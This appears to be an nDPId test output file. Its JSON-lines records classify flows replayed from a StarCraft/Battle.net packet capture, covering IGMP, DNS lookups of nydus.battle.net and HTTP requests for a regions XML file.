+00427{"flow_id":10,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":287,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389968,"pkt_ts_usec":684798,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"IImEa8W6hCYVPnXECABFAAAoVBpAADQGDvlQ79DBwKgBZARfDWPlxVUEjlM4olAQPaJ68wAAAAAAAAAA"} +00444{"flow_id":10,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":288,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389968,"pkt_ts_usec":685157,"pkt_caplen":71,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":71,"pkt_l4_len":37,"pkt":"IImEa8W6hCYVPnXECABFAAA5VBtAADQGDudQ79DBwKgBZARfDWPlxVUEjlM4olAYPaK3mAAABMoeCRh5\/tbSbbFVkyRANjI="} +00420{"flow_id":10,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":289,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389968,"pkt_ts_usec":685186,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"hCYVPnXEIImEa8W6CABFAAAoSKpAAIAGzmjAqAFkUO\/QwQ1jBF+OUzii5cVVFVAUAAC4gAAA"} +00427{"flow_id":10,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":290,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389968,"pkt_ts_usec":685334,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"IImEa8W6hCYVPnXECABFAAAoVBxAADQGDvdQ79DBwKgBZARfDWPlxVUVjlM4olARPaJ64QAAAAAAAAAA"} +00435{"flow_id":6,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":291,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389970,"pkt_ts_usec":671140,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"hCYVPnXEIImEa8W6CABFAAA0DEUAAIARlo\/AqAFkrcIoFtFAAbsAIKDYDBnPzxTN69maK3zVmJ1A8q4\/WcfKtlQW"} +00452{"flow_id":6,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":292,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389970,"pkt_ts_usec":729677,"pkt_caplen":77,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":77,"pkt_l4_len":43,"pkt":"IImEa8W6hCYVPnXECABFAAA\/jiEAADURX6itwigWwKgBZAG70UAAK09mEMoFok0rRRKq\/gpUJClbhllLX\/LbhD0JR6ucwFId24LczKc="} +00446{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":295,"source":"starcraft_battle.pcap","alias":"nDPId-test","flow_id":27,"flow_packet_id":1,"flow_first_seen":1437389976946,"flow_last_seen":0,"flow_tot_l4_data_len":16,"flow_min_l4_data_len":16,"flow_max_l4_data_len":16,"flow_avg_l4_data_len":16,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.107","dst_ip":"224.0.0.22","l4_proto":2,"flow_datalink":1,"flow_max_packets":15} +00426{"flow_id":27,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":295,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389976,"pkt_ts_usec":946687,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":38,"pkt_len":60,"pkt_l4_len":16,"pkt":"AQBeAAAWtFJ+6zOBCABGAAAoAABAAAECQqbAqAFr4AAAFpQEAAAiAPkCAAAAAQQAAADgAAD7AQEICgBN"} +00478{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":295,"source":"starcraft_battle.pcap","alias":"nDPId-test","flow_id":27,"flow_packet_id":1,"flow_first_seen":1437389976946,"flow_last_seen":0,"flow_tot_l4_data_len":16,"flow_min_l4_data_len":16,"flow_max_l4_data_len":16,"flow_avg_l4_data_len":16,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.107","dst_ip":"224.0.0.22","l4_proto":2,"ndpi": {"proto":"IGMP","breed":"Acceptable","category":"Network"}} +00426{"flow_id":27,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":296,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389980,"pkt_ts_usec":126345,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":38,"pkt_len":60,"pkt_l4_len":16,"pkt":"AQBeAAAWtFJ+6zOBCABGAAAoAABAAAECQqbAqAFr4AAAFpQEAAAiAPkCAAAAAQQAAADgAAD7DndzYmFj"} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":297,"source":"starcraft_battle.pcap","alias":"nDPId-test","flow_id":28,"flow_packet_id":1,"flow_first_seen":1437389981134,"flow_last_seen":0,"flow_tot_l4_data_len":42,"flow_min_l4_data_len":42,"flow_max_l4_data_len":42,"flow_avg_l4_data_len":42,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.100","dst_ip":"192.168.1.254","src_port":53145,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00451{"flow_id":28,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":297,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389981,"pkt_ts_usec":134438,"pkt_caplen":76,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":76,"pkt_l4_len":42,"pkt":"hCYVPnXEIImEa8W6CABFAAA+X2cAAIARVpXAqAFkwKgB\/s+ZADUAKjZ5W6oBAAABAAAAAAAABW55ZHVzBmJhdHRsZQNuZXQAAAEAAQ=="} +00647{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":297,"source":"starcraft_battle.pcap","alias":"nDPId-test","flow_id":28,"flow_packet_id":1,"flow_first_seen":1437389981134,"flow_last_seen":0,"flow_tot_l4_data_len":42,"flow_min_l4_data_len":42,"flow_max_l4_data_len":42,"flow_avg_l4_data_len":42,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.100","dst_ip":"192.168.1.254","src_port":53145,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"nydus.battle.net","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00451{"flow_id":28,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":298,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389981,"pkt_ts_usec":164861,"pkt_caplen":76,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":76,"pkt_l4_len":42,"pkt":"hCYVPnXEIImEa8W6CABFAAA+X2gAAIARVpTAqAFkwKgB\/s+ZADUAKjZ5W6oBAAABAAAAAAAABW55ZHVzBmJhdHRsZQNuZXQAAAEAAQ=="} +00470{"flow_id":28,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":299,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389981,"pkt_ts_usec":169989,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"IImEa8W6hCYVPnXECABFAABOAABAAEARtezAqAH+wKgBZAA1z5kAOuq0W6qBgAABAAEAAAAABW55ZHVzBmJhdHRsZQNuZXQAAAEAAcAMAAEAAQAAAAYABFDvuho="} +00674{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":299,"source":"starcraft_battle.pcap","alias":"nDPId-test","flow_id":28,"flow_packet_id":3,"flow_first_seen":1437389981134,"flow_last_seen":1437389981169,"flow_tot_l4_data_len":142,"flow_min_l4_data_len":42,"flow_max_l4_data_len":58,"flow_avg_l4_data_len":47,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.100","dst_ip":"192.168.1.254","src_port":53145,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"nydus.battle.net","num_queries":1,"num_answers":1,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"80.239.186.26"}} +00483{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":300,"source":"starcraft_battle.pcap","alias":"nDPId-test","flow_id":29,"flow_packet_id":1,"flow_first_seen":1437389981197,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.100","dst_ip":"80.239.186.26","src_port":3515,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00435{"flow_id":29,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":300,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389981,"pkt_ts_usec":197007,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"hCYVPnXEIImEa8W6CABFAAA0EYNAAIAGHCvAqAFkUO+6Gg27AFBEOrW2AAAAAIACIAB5\/gAAAgQFtAEDAwgBAQQC"} +00470{"flow_id":28,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":301,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389981,"pkt_ts_usec":218038,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"IImEa8W6hCYVPnXECABFAABOAABAAEARtezAqAH+wKgBZAA1z5kAOuqDW6qBgAABAAEAAAAABW55ZHVzBmJhdHRsZQNuZXQAAAEAAcAMAAEAAQAAADcABFDvuho="} +00426{"flow_id":29,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":302,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389981,"pkt_ts_usec":256483,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":24,"pkt":"IImEa8W6hCYVPnXECABFAAAsAABAADMGerZQ77oawKgBZABQDbuOe0nfRDq1t2ASOQixoAAAAgQFtAAA"} +00418{"flow_id":29,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":303,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389981,"pkt_ts_usec":256545,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"hCYVPnXEIImEa8W6CABFAAAoEYRAAIAGHDbAqAFkUO+6Gg27AFBEOrW3jntJ4FAQ+vAHdQAA"} +00609{"flow_id":29,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":304,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389981,"pkt_ts_usec":265910,"pkt_caplen":193,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":193,"pkt_l4_len":159,"pkt":"hCYVPnXEIImEa8W6CABFAACzEYVAAIAGG6rAqAFkUO+6Gg27AFBEOrW3jntJ4FAY+vA+7gAAR0VUIC9TMi9lbkdCL2NsaWVudC9yZWdpb25zP2J1aWxkPWVuR0ImdGFyZ2V0UmVnaW9uPUVVIEhUVFAvMS4xDQpVc2VyLUFnZW50OiBCYXR0bGUubmV0IFdlYiBDbGllbnQNCkhvc3Q6IG55ZHVzLmJhdHRsZS5uZXQNCkFjY2VwdDogKi8qDQoNCg=="} +00708{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":304,"source":"starcraft_battle.pcap","alias":"nDPId-test","flow_id":29,"flow_packet_id":4,"flow_first_seen":1437389981197,"flow_last_seen":1437389981265,"flow_tot_l4_data_len":235,"flow_min_l4_data_len":20,"flow_max_l4_data_len":159,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.100","dst_ip":"80.239.186.26","src_port":3515,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"nydus.battle.net","url":"nydus.battle.net\/S2\/enGB\/client\/regions?build=enGB&targetRegion=EU","code":0,"content_type":"","user_agent":"Battle.net Web Client"}} +00426{"flow_id":29,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":305,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389981,"pkt_ts_usec":324978,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"IImEa8W6hCYVPnXECABFAAAoBz5AADMGc3xQ77oawKgBZABQDbuOe0ngRDq2QlAQPLjFIgAAAAAAAAAA"} +01109{"flow_id":29,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":306,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389981,"pkt_ts_usec":325475,"pkt_caplen":569,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":569,"pkt_l4_len":535,"pkt":"IImEa8W6hCYVPnXECABFAAIrBz9AADMGcXhQ77oawKgBZABQDbuOe0ngRDq2QlAYPLht0wAASFRUUC8xLjEgMzAyIEZvdW5kDQpEYXRlOiBNb24sIDIwIEp1bCAyMDE1IDEwOjU5OjQxIEdNVA0KU2VydmVyOiBBcGFjaGUNClgtRnJhbWUtT3B0aW9uczogU0FNRU9SSUdJTg0KTG9jYXRpb246IGh0dHA6Ly9ldS5sYXVuY2hlci5iYXR0bGUubmV0L3NlcnZpY2UvczIvcmVnaW9uc3htbC9yZWdpb25zLnhtbA0KVmFyeTogQWNjZXB0LUVuY29kaW5nDQpDb250ZW50LUxlbmd0aDogMjQ3DQpDb250ZW50LVR5cGU6IHRleHQvaHRtbDsgY2hhcnNldD1pc28tODg1OS0xDQoNCjwhRE9DVFlQRSBIVE1MIFBVQkxJQyAiLS8vSUVURi8vRFREIEhUTUwgMi4wLy9FTiI+CjxodG1sPjxoZWFkPgo8dGl0bGU+MzAyIEZvdW5kPC90aXRsZT4KPC9oZWFkPjxib2R5Pgo8aDE+Rm91bmQ8L2gxPgo8cD5UaGUgZG9jdW1lbnQgaGFzIG1vdmVkIDxhIGhyZWY9Imh0dHA6Ly9ldS5sYXVuY2hlci5iYXR0bGUubmV0L3NlcnZpY2UvczIvcmVnaW9uc3htbC9yZWdpb25zLnhtbCI+aGVyZTwvYT4uPC9wPgo8L2JvZHk+PC9odG1sPgo="} +00483{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":307,"source":"starcraft_battle.pcap","alias":"nDPId-test","flow_id":30,"flow_packet_id":1,"flow_first_seen":1437389981330,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.100","dst_ip":"80.239.186.21","src_port":3516,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00434{"flow_id":30,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":307,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389981,"pkt_ts_usec":330014,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"hCYVPnXEIImEa8W6CABFAAA0RD1AAIAG6XXAqAFkUO+6FQ28AFBBQIDMAAAAAIACIACx5gAAAgQFtAEDAwgBAQQC"} +00418{"flow_id":29,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":308,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389981,"pkt_ts_usec":344916,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"hCYVPnXEIImEa8W6CABFAAAoEYdAAIAGHDPAqAFkUO+6Gg27AFBEOrZCjntL41AQ+O0G6gAA"} +00426{"flow_id":30,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":309,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389981,"pkt_ts_usec":385510,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":24,"pkt":"IImEa8W6hCYVPnXECABFAAAsAABAADMGertQ77oVwKgBZABQDbzhin+3QUCAzWASOQhgoQAAAgQFtAAA"} +00420{"flow_id":30,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":310,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389981,"pkt_ts_usec":385569,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"hCYVPnXEIImEa8W6CABFAAAoRD9AAIAG6X\/AqAFkUO+6FQ28AFBBQIDN4Yp\/uFAQ+vC2dQAA"} +00707{"flow_id":30,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":311,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389981,"pkt_ts_usec":385630,"pkt_caplen":267,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":267,"pkt_l4_len":233,"pkt":"hCYVPnXEIImEa8W6CABFAAD9REBAAIAG6KnAqAFkUO+6FQ28AFBBQIDN4Yp\/uFAY+vANTQAAR0VUIC9zZXJ2aWNlL3MyL3JlZ2lvbnN4bWwvcmVnaW9ucy54bWwgSFRUUC8xLjENClVzZXItQWdlbnQ6IEJhdHRsZS5uZXQgV2ViIENsaWVudA0KSG9zdDogZXUubGF1bmNoZXIuYmF0dGxlLm5ldA0KQWNjZXB0OiAqLyoNClJlZmVyZXI6IGh0dHA6Ly9ueWR1cy5iYXR0bGUubmV0L1MyL2VuR0IvY2xpZW50L3JlZ2lvbnM\/YnVpbGQ9ZW5HQiZ0YXJnZXRSZWdpb249RVUNCg0K"} +00704{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":311,"source":"starcraft_battle.pcap","alias":"nDPId-test","flow_id":30,"flow_packet_id":4,"flow_first_seen":1437389981330,"flow_last_seen":1437389981385,"flow_tot_l4_data_len":309,"flow_min_l4_data_len":20,"flow_max_l4_data_len":233,"flow_avg_l4_data_len":77,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.100","dst_ip":"80.239.186.21","src_port":3516,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"eu.launcher.battle.net","url":"eu.launcher.battle.net\/service\/s2\/regionsxml\/regions.xml","code":0,"content_type":"","user_agent":"Battle.net Web Client"}} +00426{"flow_id":30,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":312,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389981,"pkt_ts_usec":441002,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"IImEa8W6hCYVPnXECABFAAAoABlAADMGeqZQ77oVwKgBZABQDbzhin+4QUCBolAQPLhz2QAAAAAAAAAA"} +02372{"flow_id":30,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":313,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389981,"pkt_ts_usec":441587,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"IImEa8W6hCYVPnXECABFAAXcABpAADMGdPFQ77oVwKgBZABQDbzhin+4QUCBolAQPLg3NAAASFRUUC8xLjEgMjAwIE9LDQpEYXRlOiBNb24sIDIwIEp1bCAyMDE1IDEwOjU5OjQxIEdNVA0KU2VydmVyOiBBcGFjaGUNClgtRnJhbWUtT3B0aW9uczogU0FNRU9SSUdJTg0KTGFzdC1Nb2RpZmllZDogVGh1LCAwNiBGZWIgMjAxNCAyMzo0NzowNSBHTVQNCkVUYWc6ICJlMDU2LTljYS00ZjFjNTdkOWFmMDQwIg0KQWNjZXB0LVJhbmdlczogYnl0ZXMNCkNvbnRlbnQtTGVuZ3RoOiAyNTA2DQpWYXJ5OiBBY2NlcHQtRW5jb2RpbmcNCkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24veG1sDQoNCjwhLS0gVGhpcyBmaWxlIHNwZWNpZmllcyB3aGF0IHJlZ2lvbnMgdGhlIFN0YXJjcmFmdCAyIGNsaWVudCBjYW4gY29ubmVjdCB0by4gRWFjaCBub2RlIGhhcyB0aGUgcG9zc2liaWxpdHkgb2YgNCBhdHRyaWJ1dGVzOgogICAgICAgICogZGlzcGxheW5hbWUgLSBUaGlzIHNwZWNpZmllcyB0aGUgc3RyaW5nIHRoYXQgd2lsbCBiZSBkaXNwbGF5ZWQgaW4gdGhlIGNsaWVudC4gSXQgaXMgaW50ZW5kZWQKICAgICAgICAgICAgICAgIHRvIGJlIGEgTDEwTiBzdHJpbmcgaWRlbnRpZmllciAoaWYgdGhlcmUgaXMgbm8gY29ycmVzcG9uZGluZyBMMTBOIHN0cmluZyB0aGVuIHRoZSByYXcgc3RyaW5nCiAgICAgICAgICAgICAgICBpdHNlbGYgd2lsbCBiZSBkaXNwbGF5ZWQpCiAgICAgICAgKiBob3N0bmFtZSAtIHRoZSByZWdpb24vaG9zdCB0byBjb25uZWN0IHRvLiBUaGlzIHdpbGwgYmUgZ2l2ZW4gdG8gZGFyayBwb3J0YWwgYW5kIGlzIHR5cGljYWxseQogICAgICAgICAgICAgICAgdGhlIHN0cmluZyBwcmVwZW5kZWQgdG8gImxvZ29uLmJhdHRsZS5uZXQiLiBJbiBkZWJ1ZyBidWlsZHMsIHRoaXMgY2FuIGJlIGEgZnVsbHkgcXVhbGlmaWVkCiAgICAgICAgICAgICAgICBhZGRyZXNzIG9yIGlwLgogICAgICAgICogYWxsb3dlZFByb2R1Y3RMb2NhbGVzIC0gYSBjb21tYSBkZWxpbWl0ZWQgbGlzdCBvZiBwcm9kdWN0IGxvY2FsZXMgZm9yIHdoaWNoIHRoZSByZWdpb24gaXMgYQogICAgICAgICAgICAgICAgdmFsaWQgb3B0aW9uLiBPbmx5IGNsaWVudHMgd2l0aCBvbmUgb2YgdGhlIGxpc3RlZCBwcm9kdWN0IGxvY2FsZXMgd2lsbCBiZSBhYmxlIHRvIGNvbm5lY3QgdG8KICAgICAgICAgICAgICAgIHRoZSBzcGVjaWZpZWQgcmVnaW9uLiBJZiAnYWxsJyBpcyBzcGVjaWZpZWQgdGhlbiB0aGUgcmVnaW9uIGlzIHZhbGlkIGZvciBhbGwgbG9jYWxlcwogICAgICAgICogbG9jYWxlc1RoYXREZWZhdWx0VG9UaGlzUmVnaW9uIC0gYSBjb21tYSBkZWxpbWl0ZWQgbGlzdCBvZiBwcm9kdWN0IGxvY2FsZXMgZm9yIHdoaWNoIHRoZSByZWdpb24KICAgICAgICAgICAgICAgIGlzIHRoZSBkZWZhdWx0LiBBIHByb2R1Y3QgbG9jYWxlIHNob3VsZCBub3QgYXBwZWFyIGluIHRoaXMgbGlzdCBpbiBtb3JlIHRoYW4gMSByZWdpb24uCiAgICAgICAgKiBpc0JldGFSZWdpb24gLSBpZiBzZXQgdG8gJ3RydWUnLCA="} +02189{"flow_id":30,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":314,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389981,"pkt_ts_usec":441753,"pkt_caplen":1377,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1377,"pkt_l4_len":1343,"pkt":"IImEa8W6hCYVPnXECABFAAVTABtAADMGdXlQ77oVwKgBZABQDbzhioVsQUCBolAYPLj3\/QAAd2lsbCBiZSBkaXNwbGF5ZWQgaW4gdGhlIHJlZ2lvbnMgbGlzdCBmb3IgYmV0YSBidWlsZHMgYW5kCiAgICAgICAgICAgICAgICBoaWRkZW4gaW4gbm9uLWJldGEgYnVpbGRzLiAgSWYgYW55IG90aGVyIHZhbHVlLCBvciB1bnNwZWNpZmllZCwgd2lsbCBleGNsdWRlIGl0IGZyb20gYmV0YSBidWlsZHMuCgogICAgICAgIE5PVEU6IElmIGxlc3MgdGhhbiAyIHJlZ2lvbnMgYXJlIHNwZWNpZmllZCBmb3IgYSBwYXJ0aWN1bGFyIHByb2R1Y3QgbG9jYWxlIHRoZW4gdGhlIHJlZ2lvbiBzZWxlY3RvciB3aWxsIG5vdCBhcHBlYXIKCi0tPgo8cmVnaW9ucz4KICAgICAgICA8cmVnaW9uIGRpc3BsYXluYW1lPSJBVVRIRU5USUNBVElPTl9VU19SRUdJT04iIGhvc3RuYW1lPSJ1cyIgYWxsb3dlZFByb2R1Y3RMb2NhbGVzPSJlblVTLGVzTVgscHRCUixlbkdCLGZyRlIsZGVERSxlc0VTLHJ1UlUscGxQTCxpdElULGtvS1IsemhUVyxlblNHIiBsb2NhbGVzVGhhdERlZmF1bHRUb1RoaXNSZWdpb249ImVuVVMsZXNNWCxwdEJSIi8+CiAgICAgICAgPHJlZ2lvbiBkaXNwbGF5bmFtZT0iQVVUSEVOVElDQVRJT05fRVVfUkVHSU9OIiBob3N0bmFtZT0iZXUiIGFsbG93ZWRQcm9kdWN0TG9jYWxlcz0iZW5VUyxlc01YLHB0QlIsZW5HQixmckZSLGRlREUsZXNFUyxydVJVLHBsUEwsaXRJVCxrb0tSLHpoVFcsZW5TRyIgbG9jYWxlc1RoYXREZWZhdWx0VG9UaGlzUmVnaW9uPSJlbkdCLGZyRlIsZGVERSxlc0VTLHJ1UlUscGxQTCxpdElUIi8+CiAgICAgICAgPHJlZ2lvbiBkaXNwbGF5bmFtZT0iQVVUSEVOVElDQVRJT05fS1JfUkVHSU9OIiBob3N0bmFtZT0ia3IiIGFsbG93ZWRQcm9kdWN0TG9jYWxlcz0iZW5VUyxlc01YLHB0QlIsZW5HQixmckZSLGRlREUsZXNFUyxydVJVLHBsUEwsaXRJVCxrb0tSLHpoVFcsZW5TRyIgbG9jYWxlc1RoYXREZWZhdWx0VG9UaGlzUmVnaW9uPSJrb0tSLHpoVFciLz4KICAgICAgICA8cmVnaW9uIGRpc3BsYXluYW1lPSJBVVRIRU5USUNBVElPTl9TR19SRUdJT04iIGhvc3RuYW1lPSJzZyIgYWxsb3dlZFByb2R1Y3RMb2NhbGVzPSJlblVTLGVzTVgscHRCUixlbkdCLGZyRlIsZGVERSxlc0VTLHJ1UlUscGxQTCxpdElULGtvS1IsemhUVyxlblNHIiBsb2NhbGVzVGhhdERlZmF1bHRUb1RoaXNSZWdpb249ImVuU0ciLz4KICAgICAgICA8cmVnaW9uIGRpc3BsYXluYW1lPSJBVVRIRU5USUNBVElPTl9CRVRBX1JFR0lPTiIgaG9zdG5hbWU9InMyLWJldGEiIGlzQmV0YVJlZ2lvbj0idHJ1ZSIgYWxsb3dlZFByb2R1Y3RMb2NhbGVzPSJhbGwiIGxvY2FsZXNUaGF0RGVmYXVsdFRvVGhpc1JlZ2lvbj0iYWxsIi8+CjwvcmVnaW9ucz4K"} 